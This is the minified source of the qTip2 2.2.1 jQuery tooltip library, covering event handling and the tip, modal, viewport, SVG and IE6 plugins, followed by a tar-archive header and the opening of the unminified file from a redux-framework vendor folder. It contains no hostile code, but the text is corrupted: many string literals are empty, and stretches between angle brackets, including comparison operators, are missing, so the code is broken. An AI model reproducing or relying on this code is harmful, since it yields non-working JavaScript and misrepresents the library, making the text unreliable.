b=this.x,c=this.y,d=b!==c?"center"===b||"center"!==c&&(this.precedance===H||this.forceY)?[c,b]:[b,c]:[b];return a!==!1?d.join(" "):d},gb.abbrev=function(){var a=this.string(!1);return a[0].charAt(0)+(a[1]&&a[1].charAt(0)||"")},gb.clone=function(){return new A(this.string(),this.forceY)},z.toggle=function(a,c){var e=this.cache,f=this.options,g=this.tooltip;if(c){if(/over|enter/.test(c.type)&&e.event&&/out|leave/.test(e.event.type)&&f.show.target.add(c.target).length===f.show.target.length&&g.has(c.relatedTarget).length)return this;e.event=d.event.fix(c)}if(this.waiting&&!a&&(this.hiddenDuringWait=D),!this.rendered)return a?this.render(1):this;if(this.destroyed||this.disabled)return this;var h,i,j,k=a?"show":"hide",l=this.options[k],m=(this.options[a?"hide":"show"],this.options.position),n=this.options.content,o=this.tooltip.css("width"),p=this.tooltip.is(":visible"),q=a||1===l.target.length,r=!c||l.target.length<2||e.target[0]===c.target;return(typeof a).search("boolean|number")&&(a=!p),h=!g.is(":animated")&&p===a&&r,i=h?F:!!this._trigger(k,[90]),this.destroyed?this:(i!==E&&a&&this.focus(c),!i||h?this:(d.attr(g[0],"aria-hidden",!a),a?(this.mouse&&(e.origin=d.event.fix(this.mouse)),d.isFunction(n.text)&&this._updateContent(n.text,E),d.isFunction(n.title)&&this._updateTitle(n.title,E),!C&&"mouse"===m.target&&m.adjust.mouse&&(d(b).bind("mousemove."+S,this._storeMouse),C=D),o||g.css("width",g.outerWidth(E)),this.reposition(c,arguments[2]),o||g.css("width",""),l.solo&&("string"==typeof l.solo?d(l.solo):d(W,l.solo)).not(g).not(l.target).qtip("hide",d.Event("tooltipsolo"))):(clearTimeout(this.timers.show),delete e.origin,C&&!d(W+'[tracking="true"]:visible',l.solo).not(g).length&&(d(b).unbind("mousemove."+S),C=E),this.blur(c)),j=d.proxy(function(){a?(db.ie&&g[0].style.removeAttribute("filter"),g.css("overflow",""),"string"==typeof l.autofocus&&d(this.options.show.autofocus,g).focus(),this.options.show.target.trigger("qtip-"+this.id+"-inactive")):g.css({display:"",visibility:"",opacity:"",left:"",top:""}),this._trigger(a?"visible":"hidden")},this),l.effect===E||q===E?(g[k](),j()):d.isFunction(l.effect)?(g.stop(1,1),l.effect.call(g,this),g.queue("fx",function(a){j(),a()})):g.fadeTo(90,a?1:0,j),a&&l.target.trigger("qtip-"+this.id+"-inactive"),this))},z.show=function(a){return this.toggle(D,a)},z.hide=function(a){return this.toggle(E,a)},z.focus=function(a){if(!this.rendered||this.destroyed)return this;var b=d(W),c=this.tooltip,e=parseInt(c[0].style.zIndex,10),f=y.zindex+b.length;return c.hasClass($)||this._trigger("focus",[f],a)&&(e!==f&&(b.each(function(){this.style.zIndex>e&&(this.style.zIndex=this.style.zIndex-1)}),b.filter("."+$).qtip("blur",a)),c.addClass($)[0].style.zIndex=f),this},z.blur=function(a){return!this.rendered||this.destroyed?this:(this.tooltip.removeClass($),this._trigger("blur",[this.tooltip.css("zIndex")],a),this)},z.disable=function(a){return this.destroyed?this:("toggle"===a?a=!(this.rendered?this.tooltip.hasClass(ab):this.disabled):"boolean"!=typeof a&&(a=D),this.rendered&&this.tooltip.toggleClass(ab,a).attr("aria-disabled",a),this.disabled=!!a,this)},z.enable=function(){return this.disable(E)},z._createButton=function(){var a=this,b=this.elements,c=b.tooltip,e=this.options.content.button,f="string"==typeof e,g=f?e:"Close tooltip";b.button&&b.button.remove(),b.button=e.jquery?e:d("",{"class":"qtip-close "+(this.options.style.widget?"":S+"-icon"),title:g,"aria-label":g}).prepend(d("",{"class":"ui-icon ui-icon-close",html:"×"})),b.button.appendTo(b.titlebar||c).attr("role","button").click(function(b){return c.hasClass(ab)||a.hide(b),E})},z._updateButton=function(a){if(!this.rendered)return E;var b=this.elements.button;a?this._createButton():b.remove()},z._setWidget=function(){var a=this.options.style.widget,b=this.elements,c=b.tooltip,d=c.hasClass(ab);c.removeClass(ab),ab=a?"ui-state-disabled":"qtip-disabled",c.toggleClass(ab,d),c.toggleClass("ui-helper-reset "+k(),a).toggleClass(Z,this.options.style.def&&!a),b.content&&b.content.toggleClass(k("content"),a),b.titlebar&&b.titlebar.toggleClass(k("header"),a),b.button&&b.button.toggleClass(S+"-icon",!a)},z._storeMouse=function(a){return(this.mouse=d.event.fix(a)).type="mousemove",this},z._bind=function(a,b,c,e,f){if(a&&c&&b.length){var g="."+this._id+(e?"-"+e:"");return d(a).bind((b.split?b:b.join(g+" "))+g,d.proxy(c,f||this)),this}},z._unbind=function(a,b){return a&&d(a).unbind("."+this._id+(b?"-"+b:"")),this},z._trigger=function(a,b,c){var e=d.Event("tooltip"+a);return e.originalEvent=c&&d.extend({},c)||this.cache.event||F,this.triggering=a,this.tooltip.trigger(e,[this].concat(b||[])),this.triggering=E,!e.isDefaultPrevented()},z._bindEvents=function(a,b,c,e,f,g){var h=c.filter(e).add(e.filter(c)),i=[];h.length&&(d.each(b,function(b,c){var e=d.inArray(c,a);e>-1&&i.push(a.splice(e,1)[0])}),i.length&&(this._bind(h,i,function(a){var b=this.rendered?this.tooltip[0].offsetWidth>0:!1;(b?g:f).call(this,a)}),c=c.not(h),e=e.not(h))),this._bind(c,a,f),this._bind(e,b,g)},z._assignInitialEvents=function(a){function b(a){return this.disabled||this.destroyed?E:(this.cache.event=a&&d.event.fix(a),this.cache.target=a&&d(a.target),clearTimeout(this.timers.show),void(this.timers.show=l.call(this,function(){this.render("object"==typeof a||c.show.ready)},c.prerender?0:c.show.delay)))}var c=this.options,e=c.show.target,f=c.hide.target,g=c.show.event?d.trim(""+c.show.event).split(" "):[],h=c.hide.event?d.trim(""+c.hide.event).split(" "):[];this._bind(this.elements.target,["remove","removeqtip"],function(){this.destroy(!0)},"destroy"),/mouse(over|enter)/i.test(c.show.event)&&!/mouse(out|leave)/i.test(c.hide.event)&&h.push("mouseleave"),this._bind(e,"mousemove",function(a){this._storeMouse(a),this.cache.onTarget=D}),this._bindEvents(g,h,e,f,b,function(){return this.timers?void clearTimeout(this.timers.show):E}),(c.show.ready||c.prerender)&&b.call(this,a)},z._assignEvents=function(){var c=this,e=this.options,f=e.position,g=this.tooltip,h=e.show.target,i=e.hide.target,j=f.container,k=f.viewport,l=d(b),q=(d(b.body),d(a)),r=e.show.event?d.trim(""+e.show.event).split(" "):[],s=e.hide.event?d.trim(""+e.hide.event).split(" "):[];d.each(e.events,function(a,b){c._bind(g,"toggle"===a?["tooltipshow","tooltiphide"]:["tooltip"+a],b,null,g)}),/mouse(out|leave)/i.test(e.hide.event)&&"window"===e.hide.leave&&this._bind(l,["mouseout","blur"],function(a){/select|option/.test(a.target.nodeName)||a.relatedTarget||this.hide(a)}),e.hide.fixed?i=i.add(g.addClass(Y)):/mouse(over|enter)/i.test(e.show.event)&&this._bind(i,"mouseleave",function(){clearTimeout(this.timers.show)}),(""+e.hide.event).indexOf("unfocus")>-1&&this._bind(j.closest("html"),["mousedown","touchstart"],function(a){var b=d(a.target),c=this.rendered&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0,e=b.parents(W).filter(this.tooltip[0]).length>0;b[0]===this.target[0]||b[0]===this.tooltip[0]||e||this.target.has(b[0]).length||!c||this.hide(a)}),"number"==typeof e.hide.inactive&&(this._bind(h,"qtip-"+this.id+"-inactive",o,"inactive"),this._bind(i.add(g),y.inactiveEvents,o)),this._bindEvents(r,s,h,i,m,n),this._bind(h.add(g),"mousemove",function(a){if("number"==typeof e.hide.distance){var b=this.cache.origin||{},c=this.options.hide.distance,d=Math.abs;(d(a.pageX-b.pageX)>=c||d(a.pageY-b.pageY)>=c)&&this.hide(a)}this._storeMouse(a)}),"mouse"===f.target&&f.adjust.mouse&&(e.hide.event&&this._bind(h,["mouseenter","mouseleave"],function(a){return this.cache?void(this.cache.onTarget="mouseenter"===a.type):E}),this._bind(l,"mousemove",function(a){this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0&&this.reposition(a)})),(f.adjust.resize||k.length)&&this._bind(d.event.special.resize?k:q,"resize",p),f.adjust.scroll&&this._bind(q.add(f.container),"scroll",p)},z._unassignEvents=function(){var c=this.options,e=c.show.target,f=c.hide.target,g=d.grep([this.elements.target[0],this.rendered&&this.tooltip[0],c.position.container[0],c.position.viewport[0],c.position.container.closest("html")[0],a,b],function(a){return"object"==typeof a});e&&e.toArray&&(g=g.concat(e.toArray())),f&&f.toArray&&(g=g.concat(f.toArray())),this._unbind(g)._unbind(g,"destroy")._unbind(g,"inactive")},d(function(){q(W,["mouseenter","mouseleave"],function(a){var b="mouseenter"===a.type,c=d(a.currentTarget),e=d(a.relatedTarget||a.target),f=this.options;b?(this.focus(a),c.hasClass(Y)&&!c.hasClass(ab)&&clearTimeout(this.timers.hide)):"mouse"===f.position.target&&f.position.adjust.mouse&&f.hide.event&&f.show.target&&!e.closest(f.show.target[0]).length&&this.hide(a),c.toggleClass(_,b)}),q("["+U+"]",X,o)}),y=d.fn.qtip=function(a,b,e){var f=(""+a).toLowerCase(),g=F,i=d.makeArray(arguments).slice(1),j=i[i.length-1],k=this[0]?d.data(this[0],S):F;return!arguments.length&&k||"api"===f?k:"string"==typeof a?(this.each(function(){var a=d.data(this,S);if(!a)return D;if(j&&j.timeStamp&&(a.cache.event=j),!b||"option"!==f&&"options"!==f)a[f]&&a[f].apply(a,i);else{if(e===c&&!d.isPlainObject(b))return g=a.get(b),E;a.set(b,e)}}),g!==F?g:this):"object"!=typeof a&&arguments.length?void 0:(k=h(d.extend(D,{},a)),this.each(function(a){var b,c;return c=d.isArray(k.id)?k.id[a]:k.id,c=!c||c===E||c.length<1||y.api[c]?y.nextid++:c,b=r(d(this),c,k),b===E?D:(y.api[c]=b,d.each(R,function(){"initialize"===this.initialize&&this(b)}),void b._assignInitialEvents(j))}))},d.qtip=e,y.api={},d.each({attr:function(a,b){if(this.length){var c=this[0],e="title",f=d.data(c,"qtip");if(a===e&&f&&"object"==typeof f&&f.options.suppress)return arguments.length<2?d.attr(c,cb):(f&&f.options.content.attr===e&&f.cache.attr&&f.set("content.text",b),this.attr(cb,b))}return d.fn["attr"+bb].apply(this,arguments)},clone:function(a){var b=(d([]),d.fn["clone"+bb].apply(this,arguments));return a||b.filter("["+cb+"]").attr("title",function(){return d.attr(this,cb)}).removeAttr(cb),b}},function(a,b){if(!b||d.fn[a+bb])return D;var c=d.fn[a+bb]=d.fn[a];d.fn[a]=function(){return b.apply(this,arguments)||c.apply(this,arguments)}}),d.ui||(d["cleanData"+bb]=d.cleanData,d.cleanData=function(a){for(var b,c=0;(b=d(a[c])).length;c++)if(b.attr(T))try{b.triggerHandler("removeqtip")}catch(e){}d["cleanData"+bb].apply(this,arguments)}),y.version="2.2.1",y.nextid=0,y.inactiveEvents=X,y.zindex=15e3,y.defaults={prerender:E,id:E,overwrite:D,suppress:D,content:{text:D,attr:"title",title:E,button:E},position:{my:"top left",at:"bottom right",target:E,container:E,viewport:E,adjust:{x:0,y:0,mouse:D,scroll:D,resize:D,method:"flipinvert flipinvert"},effect:function(a,b){d(this).animate(b,{duration:200,queue:E})}},show:{target:E,event:"mouseenter",effect:D,delay:90,solo:E,ready:E,autofocus:E},hide:{target:E,event:"mouseleave",effect:D,delay:0,fixed:E,inactive:E,leave:"window",distance:E},style:{classes:"",widget:E,width:E,height:E,def:D},events:{render:F,move:F,show:F,hide:F,toggle:F,visible:F,hidden:F,focus:F,blur:F}};var hb,ib="margin",jb="border",kb="color",lb="background-color",mb="transparent",nb=" !important",ob=!!b.createElement("canvas").getContext,pb=/rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i,qb={},rb=["Webkit","O","Moz","ms"];if(ob)var sb=a.devicePixelRatio||1,tb=function(){var a=b.createElement("canvas").getContext("2d");return a.backingStorePixelRatio||a.webkitBackingStorePixelRatio||a.mozBackingStorePixelRatio||a.msBackingStorePixelRatio||a.oBackingStorePixelRatio||1}(),ub=sb/tb;else var vb=function(a,b,c){return"'};d.extend(v.prototype,{init:function(a){var b,c;c=this.element=a.elements.tip=d("
    ",{"class":S+"-tip"}).prependTo(a.tooltip),ob?(b=d("").appendTo(this.element)[0].getContext("2d"),b.lineJoin="miter",b.miterLimit=1e5,b.save()):(b=vb("shape",'coordorigin="0,0"',"position:absolute;"),this.element.html(b+b),a._bind(d("*",c).add(c),["click","mousedown"],function(a){a.stopPropagation()},this._ns)),a._bind(a.tooltip,"tooltipmove",this.reposition,this._ns,this),this.create()},_swapDimensions:function(){this.size[0]=this.options.height,this.size[1]=this.options.width},_resetDimensions:function(){this.size[0]=this.options.width,this.size[1]=this.options.height},_useTitle:function(a){var b=this.qtip.elements.titlebar;return b&&(a.y===K||a.y===O&&this.element.position().top+this.size[1]/2+this.options.offsetl&&!pb.test(e[1])&&(e[0]=e[1]),this.border=l=p.border!==D?p.border:l):this.border=l=0,k=this.size=this._calculateSize(b),n.css({width:k[0],height:k[1],lineHeight:k[1]+"px"}),j=b.precedance===H?[s(r.x===L?l:r.x===N?k[0]-q[0]-l:(k[0]-q[0])/2),s(r.y===K?k[1]-q[1]:0)]:[s(r.x===L?k[0]-q[0]:0),s(r.y===K?l:r.y===M?k[1]-q[1]-l:(k[1]-q[1])/2)],ob?(g=o[0].getContext("2d"),g.restore(),g.save(),g.clearRect(0,0,6e3,6e3),h=this._calculateTip(r,q,ub),i=this._calculateTip(r,this.size,ub),o.attr(I,k[0]*ub).attr(J,k[1]*ub),o.css(I,k[0]).css(J,k[1]),this._drawCoords(g,i),g.fillStyle=e[1],g.fill(),g.translate(j[0]*ub,j[1]*ub),this._drawCoords(g,h),g.fillStyle=e[0],g.fill()):(h=this._calculateTip(r),h="m"+h[0]+","+h[1]+" l"+h[2]+","+h[3]+" "+h[4]+","+h[5]+" xe",j[2]=l&&/^(r|b)/i.test(b.string())?8===db.ie?2:1:0,o.css({coordsize:k[0]+l+" "+(k[1]+l),antialias:""+(r.string().indexOf(O)>-1),left:j[0]-j[2]*Number(f===G),top:j[1]-j[2]*Number(f===H),width:k[0]+l,height:k[1]+l}).each(function(a){var b=d(this);b[b.prop?"prop":"attr"]({coordsize:k[0]+l+" "+(k[1]+l),path:h,fillcolor:e[0],filled:!!a,stroked:!a}).toggle(!(!l&&!a)),!a&&b.html(vb("stroke",'weight="'+2*l+'px" color="'+e[1]+'" miterlimit="1000" joinstyle="miter"'))})),a.opera&&setTimeout(function(){m.tip.css({display:"inline-block",visibility:"visible"})},1),c!==E&&this.calculate(b,k)},calculate:function(a,b){if(!this.enabled)return E;var c,e,f=this,g=this.qtip.elements,h=this.element,i=this.options.offset,j=(g.tooltip.hasClass("ui-widget"),{});return a=a||this.corner,c=a.precedance,b=b||this._calculateSize(a),e=[a.x,a.y],c===G&&e.reverse(),d.each(e,function(d,e){var h,k,l; e===O?(h=c===H?L:K,j[h]="50%",j[ib+"-"+h]=-Math.round(b[c===H?0:1]/2)+i):(h=f._parseWidth(a,e,g.tooltip),k=f._parseWidth(a,e,g.content),l=f._parseRadius(a),j[e]=Math.max(-f.border,d?k:i+(l>h?l:-h)))}),j[a[c]]-=b[c===G?0:1],h.css({margin:"",top:"",bottom:"",left:"",right:""}).css(j),j},reposition:function(a,b,d){function e(a,b,c,d,e){a===Q&&j.precedance===b&&k[d]&&j[c]!==O?j.precedance=j.precedance===G?H:G:a!==Q&&k[d]&&(j[b]=j[b]===O?k[d]>0?d:e:j[b]===d?e:d)}function f(a,b,e){j[a]===O?p[ib+"-"+b]=o[a]=g[ib+"-"+b]-k[b]:(h=g[e]!==c?[k[b],-g[b]]:[-k[b],g[b]],(o[a]=Math.max(h[0],h[1]))>h[0]&&(d[b]-=k[b],o[b]=E),p[g[e]!==c?e:b]=o[a])}if(this.enabled){var g,h,i=b.cache,j=this.corner.clone(),k=d.adjusted,l=b.options.position.adjust.method.split(" "),m=l[0],n=l[1]||l[0],o={left:E,top:E,x:0,y:0},p={};this.corner.fixed!==D&&(e(m,G,H,L,N),e(n,H,G,K,M),(j.string()!==i.corner.string()||i.cornerTop!==k.top||i.cornerLeft!==k.left)&&this.update(j,E)),g=this.calculate(j),g.right!==c&&(g.left=-g.right),g.bottom!==c&&(g.top=-g.bottom),g.user=this.offset,(o.left=m===Q&&!!k.left)&&f(G,L,N),(o.top=n===Q&&!!k.top)&&f(H,K,M),this.element.css(p).toggle(!(o.x&&o.y||j.x===O&&o.y||j.y===O&&o.x)),d.left-=g.left.charAt?g.user:m!==Q||o.top||!o.left&&!o.top?g.left+this.border:0,d.top-=g.top.charAt?g.user:n!==Q||o.left||!o.left&&!o.top?g.top+this.border:0,i.cornerLeft=k.left,i.cornerTop=k.top,i.corner=j.clone()}},destroy:function(){this.qtip._unbind(this.qtip.tooltip,this._ns),this.qtip.elements.tip&&this.qtip.elements.tip.find("*").remove().end().remove()}}),hb=R.tip=function(a){return new v(a,a.options.style.tip)},hb.initialize="render",hb.sanitize=function(a){if(a.style&&"tip"in a.style){var b=a.style.tip;"object"!=typeof b&&(b=a.style.tip={corner:b}),/string|boolean/i.test(typeof b.corner)||(b.corner=D)}},B.tip={"^position.my|style.tip.(corner|mimic|border)$":function(){this.create(),this.qtip.reposition()},"^style.tip.(height|width)$":function(a){this.size=[a.width,a.height],this.update(),this.qtip.reposition()},"^content.title|style.(classes|widget)$":function(){this.update()}},d.extend(D,y.defaults,{style:{tip:{corner:D,mimic:E,width:6,height:6,border:D,offset:0}}});var wb,xb,yb="qtip-modal",zb="."+yb;xb=function(){function a(a){if(d.expr[":"].focusable)return d.expr[":"].focusable;var b,c,e,f=!isNaN(d.attr(a,"tabindex")),g=a.nodeName&&a.nodeName.toLowerCase();return"area"===g?(b=a.parentNode,c=b.name,a.href&&c&&"map"===b.nodeName.toLowerCase()?(e=d("img[usemap=#"+c+"]")[0],!!e&&e.is(":visible")):!1):/input|select|textarea|button|object/.test(g)?!a.disabled:"a"===g?a.href||f:f}function c(a){k.length<1&&a.length?a.not("body").blur():k.first().focus()}function e(a){if(i.is(":visible")){var b,e=d(a.target),h=f.tooltip,j=e.closest(W);b=j.length<1?E:parseInt(j[0].style.zIndex,10)>parseInt(h[0].style.zIndex,10),b||e.closest(W)[0]===h[0]||c(e),g=a.target===k[k.length-1]}}var f,g,h,i,j=this,k={};d.extend(j,{init:function(){return i=j.elem=d("
    ",{id:"qtip-overlay",html:"
    ",mousedown:function(){return E}}).hide(),d(b.body).bind("focusin"+zb,e),d(b).bind("keydown"+zb,function(a){f&&f.options.show.modal.escape&&27===a.keyCode&&f.hide(a)}),i.bind("click"+zb,function(a){f&&f.options.show.modal.blur&&f.hide(a)}),j},update:function(b){f=b,k=b.options.show.modal.stealfocus!==E?b.tooltip.find("*").filter(function(){return a(this)}):[]},toggle:function(a,e,g){var k=(d(b.body),a.tooltip),l=a.options.show.modal,m=l.effect,n=e?"show":"hide",o=i.is(":visible"),p=d(zb).filter(":visible:not(:animated)").not(k);return j.update(a),e&&l.stealfocus!==E&&c(d(":focus")),i.toggleClass("blurs",l.blur),e&&i.appendTo(b.body),i.is(":animated")&&o===e&&h!==E||!e&&p.length?j:(i.stop(D,E),d.isFunction(m)?m.call(i,e):m===E?i[n]():i.fadeTo(parseInt(g,10)||90,e?1:0,function(){e||i.hide()}),e||i.queue(function(a){i.css({left:"",top:""}),d(zb).length||i.detach(),a()}),h=e,f.destroyed&&(f=F),j)}}),j.init()},xb=new xb,d.extend(w.prototype,{init:function(a){var b=a.tooltip;return this.options.on?(a.elements.overlay=xb.elem,b.addClass(yb).css("z-index",y.modal_zindex+d(zb).length),a._bind(b,["tooltipshow","tooltiphide"],function(a,c,e){var f=a.originalEvent;if(a.target===b[0])if(f&&"tooltiphide"===a.type&&/mouse(leave|enter)/.test(f.type)&&d(f.relatedTarget).closest(xb.elem[0]).length)try{a.preventDefault()}catch(g){}else(!f||f&&"tooltipsolo"!==f.type)&&this.toggle(a,"tooltipshow"===a.type,e)},this._ns,this),a._bind(b,"tooltipfocus",function(a,c){if(!a.isDefaultPrevented()&&a.target===b[0]){var e=d(zb),f=y.modal_zindex+e.length,g=parseInt(b[0].style.zIndex,10);xb.elem[0].style.zIndex=f-1,e.each(function(){this.style.zIndex>g&&(this.style.zIndex-=1)}),e.filter("."+$).qtip("blur",a.originalEvent),b.addClass($)[0].style.zIndex=f,xb.update(c);try{a.preventDefault()}catch(h){}}},this._ns,this),void a._bind(b,"tooltiphide",function(a){a.target===b[0]&&d(zb).filter(":visible").not(b).last().qtip("focus",a)},this._ns,this)):this},toggle:function(a,b,c){return a&&a.isDefaultPrevented()?this:void xb.toggle(this.qtip,!!b,c)},destroy:function(){this.qtip.tooltip.removeClass(yb),this.qtip._unbind(this.qtip.tooltip,this._ns),xb.toggle(this.qtip,E),delete this.qtip.elements.overlay}}),wb=R.modal=function(a){return new w(a,a.options.show.modal)},wb.sanitize=function(a){a.show&&("object"!=typeof a.show.modal?a.show.modal={on:!!a.show.modal}:"undefined"==typeof a.show.modal.on&&(a.show.modal.on=D))},y.modal_zindex=y.zindex-200,wb.initialize="render",B.modal={"^show.modal.(on|blur)$":function(){this.destroy(),this.init(),this.qtip.elems.overlay.toggle(this.qtip.tooltip[0].offsetWidth>0)}},d.extend(D,y.defaults,{show:{modal:{on:E,effect:D,blur:D,stealfocus:D,escape:D}}}),R.viewport=function(c,d,e,f,g,h,i){function j(a,b,c,e,f,g,h,i,j){var k=d[f],s=u[a],t=v[a],w=c===Q,x=s===f?j:s===g?-j:-j/2,y=t===f?i:t===g?-i:-i/2,z=q[f]+r[f]-(n?0:m[f]),A=z-k,B=k+j-(h===I?o:p)-z,C=x-(u.precedance===a||s===u[b]?y:0)-(t===O?i/2:0);return w?(C=(s===f?1:-1)*x,d[f]+=A>0?A:B>0?-B:0,d[f]=Math.max(-m[f]+r[f],k-C,Math.min(Math.max(-m[f]+r[f]+(h===I?o:p),k+C),d[f],"center"===s?k-x:1e9))):(e*=c===P?2:0,A>0&&(s!==f||B>0)?(d[f]-=C+e,l.invert(a,f)):B>0&&(s!==g||A>0)&&(d[f]-=(s===O?-C:C)+e,l.invert(a,g)),d[f]B&&(d[f]=k,l=u.clone())),d[f]-k}var k,l,m,n,o,p,q,r,s=e.target,t=c.elements.tooltip,u=e.my,v=e.at,w=e.adjust,x=w.method.split(" "),y=x[0],z=x[1]||x[0],A=e.viewport,B=e.container,C=(c.cache,{left:0,top:0});return A.jquery&&s[0]!==a&&s[0]!==b.body&&"none"!==w.method?(m=B.offset()||C,n="static"===B.css("position"),k="fixed"===t.css("position"),o=A[0]===a?A.width():A.outerWidth(E),p=A[0]===a?A.height():A.outerHeight(E),q={left:k?0:A.scrollLeft(),top:k?0:A.scrollTop()},r=A.offset()||C,("shift"!==y||"shift"!==z)&&(l=u.clone()),C={left:"none"!==y?j(G,H,y,w.x,L,N,I,f,h):0,top:"none"!==z?j(H,G,z,w.y,K,M,J,g,i):0,my:l}):C},R.polys={polygon:function(a,b){var c,d,e,f={width:0,height:0,position:{top:1e10,right:0,bottom:0,left:1e10},adjustable:E},g=0,h=[],i=1,j=1,k=0,l=0;for(g=a.length;g--;)c=[parseInt(a[--g],10),parseInt(a[g+1],10)],c[0]>f.position.right&&(f.position.right=c[0]),c[0]f.position.bottom&&(f.position.bottom=c[1]),c[1]0&&e>0&&i>0&&j>0;)for(d=Math.floor(d/2),e=Math.floor(e/2),b.x===L?i=d:b.x===N?i=f.width-d:i+=Math.floor(d/2),b.y===K?j=e:b.y===M?j=f.height-e:j+=Math.floor(e/2),g=h.length;g--&&!(h.length<2);)k=h[g][0]-f.position.left,l=h[g][1]-f.position.top,(b.x===L&&k>=i||b.x===N&&i>=k||b.x===O&&(i>k||k>f.width-i)||b.y===K&&l>=j||b.y===M&&j>=l||b.y===O&&(j>l||l>f.height-j))&&h.splice(g,1);f.position={left:h[0][0],top:h[0][1]}}return f},rect:function(a,b,c,d){return{width:Math.abs(c-a),height:Math.abs(d-b),position:{left:Math.min(a,c),top:Math.min(b,d)}}},_angles:{tc:1.5,tr:7/4,tl:5/4,bc:.5,br:.25,bl:.75,rc:2,lc:1,c:0},ellipse:function(a,b,c,d,e){var f=R.polys._angles[e.abbrev()],g=0===f?0:c*Math.cos(f*Math.PI),h=d*Math.sin(f*Math.PI);return{width:2*c-Math.abs(g),height:2*d-Math.abs(h),position:{left:a+g,top:b+h},adjustable:E}},circle:function(a,b,c,d){return R.polys.ellipse(a,b,c,c,d)}},R.svg=function(a,c,e){for(var f,g,h,i,j,k,l,m,n,o=(d(b),c[0]),p=d(o.ownerSVGElement),q=o.ownerDocument,r=(parseInt(c.css("stroke-width"),10)||0)/2;!o.getBBox;)o=o.parentNode;if(!o.getBBox||!o.parentNode)return E;switch(o.nodeName){case"ellipse":case"circle":m=R.polys.ellipse(o.cx.baseVal.value,o.cy.baseVal.value,(o.rx||o.r).baseVal.value+r,(o.ry||o.r).baseVal.value+r,e);break;case"line":case"polygon":case"polyline":for(l=o.points||[{x:o.x1.baseVal.value,y:o.y1.baseVal.value},{x:o.x2.baseVal.value,y:o.y2.baseVal.value}],m=[],k=-1,i=l.numberOfItems||l.length;++k';d.extend(x.prototype,{_scroll:function(){var b=this.qtip.elements.overlay;b&&(b[0].style.top=d(a).scrollTop()+"px")},init:function(c){var e=c.tooltip;d("select, object").length<1&&(this.bgiframe=c.elements.bgiframe=d(Bb).appendTo(e),c._bind(e,"tooltipmove",this.adjustBGIFrame,this._ns,this)),this.redrawContainer=d("
    ",{id:S+"-rcontainer"}).appendTo(b.body),c.elements.overlay&&c.elements.overlay.addClass("qtipmodal-ie6fix")&&(c._bind(a,["scroll","resize"],this._scroll,this._ns,this),c._bind(e,["tooltipshow"],this._scroll,this._ns,this)),this.redraw()},adjustBGIFrame:function(){var a,b,c=this.qtip.tooltip,d={height:c.outerHeight(E),width:c.outerWidth(E)},e=this.qtip.plugins.tip,f=this.qtip.elements.tip;b=parseInt(c.css("borderLeftWidth"),10)||0,b={left:-b,top:-b},e&&f&&(a="x"===e.corner.precedance?[I,L]:[J,K],b[a[1]]-=f[a[0]]()),this.bgiframe.css(b).css(d)},redraw:function(){if(this.qtip.rendered<1||this.drawing)return this;var a,b,c,d,e=this.qtip.tooltip,f=this.qtip.options.style,g=this.qtip.options.position.container;return this.qtip.drawing=1,f.height&&e.css(J,f.height),f.width?e.css(I,f.width):(e.css(I,"").appendTo(this.redrawContainer),b=e.width(),1>b%2&&(b+=1),c=e.css("maxWidth")||"",d=e.css("minWidth")||"",a=(c+d).indexOf("%")>-1?g.width()/100:0,c=(c.indexOf("%")>-1?a:1)*parseInt(c,10)||b,d=(d.indexOf("%")>-1?a:1)*parseInt(d,10)||0,b=c+d?Math.min(Math.max(b,d),c):b,e.css(I,Math.round(b)).appendTo(g)),this.drawing=0,this},destroy:function(){this.bgiframe&&this.bgiframe.remove(),this.qtip._unbind([a,this.qtip.tooltip],this._ns)}}),Ab=R.ie6=function(a){return 6===db.ie?new x(a):E},Ab.initialize="render",B.ie6={"^content|style$":function(){this.redraw()}}})}(window,document); //# sourceMappingURL=jquery.qtip.min.js.maplib/redux-framework/assets/js/vendor/qtip/jquery.qtip.js000064400000426242147206624460017502 0ustar00/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ /*global window: false, jQuery: false, console: false, define: false */ /* Cache window, document, undefined */ (function( window, document, undefined ) { // Uses AMD or browser globals to create a jQuery plugin. (function( factory ) { "use strict"; if(typeof define === 'function' && define.amd) { define(['jquery'], factory); } else if(jQuery && !jQuery.fn.qtip) { factory(jQuery); } } (function($) { "use strict"; // Enable ECMAScript "strict" operation for this function. See more: http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/ ;// Munge the primitives - Paul Irish tip var TRUE = true, FALSE = false, NULL = null, // Common variables X = 'x', Y = 'y', WIDTH = 'width', HEIGHT = 'height', // Positioning sides TOP = 'top', LEFT = 'left', BOTTOM = 'bottom', RIGHT = 'right', CENTER = 'center', // Position adjustment types FLIP = 'flip', FLIPINVERT = 'flipinvert', SHIFT = 'shift', // Shortcut vars QTIP, PROTOTYPE, CORNER, CHECKS, PLUGINS = {}, NAMESPACE = 'qtip', ATTR_HAS = 'data-hasqtip', ATTR_ID = 'data-qtip-id', WIDGET = ['ui-widget', 'ui-tooltip'], SELECTOR = '.'+NAMESPACE, INACTIVE_EVENTS = 'click dblclick mousedown mouseup mousemove mouseleave mouseenter'.split(' '), CLASS_FIXED = NAMESPACE+'-fixed', CLASS_DEFAULT = NAMESPACE + '-default', CLASS_FOCUS = NAMESPACE + '-focus', CLASS_HOVER = NAMESPACE + '-hover', CLASS_DISABLED = NAMESPACE+'-disabled', replaceSuffix = '_replacedByqTip', oldtitle = 'oldtitle', trackingBound, // Browser detection BROWSER = { /* * IE version detection * * Adapted from: http://ajaxian.com/archives/attack-of-the-ie-conditional-comment * Credit to James Padolsey for the original implemntation! */ ie: (function(){ for ( var v = 4, i = document.createElement("div"); (i.innerHTML = "") && i.getElementsByTagName("i")[0]; v+=1 ) {} return v > 4 ? v : NaN; }()), /* * iOS version detection */ iOS: parseFloat( ('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1]) .replace('undefined', '3_2').replace('_', '.').replace('_', '') ) || FALSE }; ;function QTip(target, options, id, attr) { // Elements and ID this.id = id; this.target = target; this.tooltip = NULL; this.elements = { target: target }; // Internal constructs this._id = NAMESPACE + '-' + id; this.timers = { img: {} }; this.options = options; this.plugins = {}; 